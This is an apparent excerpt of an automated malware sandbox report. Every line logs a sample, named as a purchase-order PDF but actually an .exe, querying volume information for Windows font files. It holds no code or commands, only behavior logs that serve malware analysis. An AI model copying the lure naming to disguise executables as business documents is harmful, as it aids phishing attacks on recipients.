Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\consola.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\consolai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\consolab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\consolaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\framd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\framdit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\FRAMDCN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\FRADMCN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\FRAHV.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\FRAHVIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\Gabriola.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\impact.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\taile.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\segoeuii.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\seguisli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\seguili.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\seguisbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\segoeuiz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\seguibl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\seguibli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\seguiemj.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\seguisym.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\CENTURY.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\LEELAWAD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\LEELAWDB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\MSUIGHUR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\MSUIGHUB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\WINGDNG2.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\WINGDNG3.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\TEMPSITC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\PRISTINA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\PAPYRUS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\MISTRAL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\LHANDW.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\ITCKRIST.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\JUICE___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\FRSCRIPT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\FREESCPT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\BRADHITC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\OUTLOOK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\BKANT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\ANTQUAI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\ANTQUAB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\ANTQUABI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\GARA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\GARAIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\GARABD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\MTCORSVA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\GOTHIC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\GOTHICI.TTF VolumeInformation	Jump to behavior
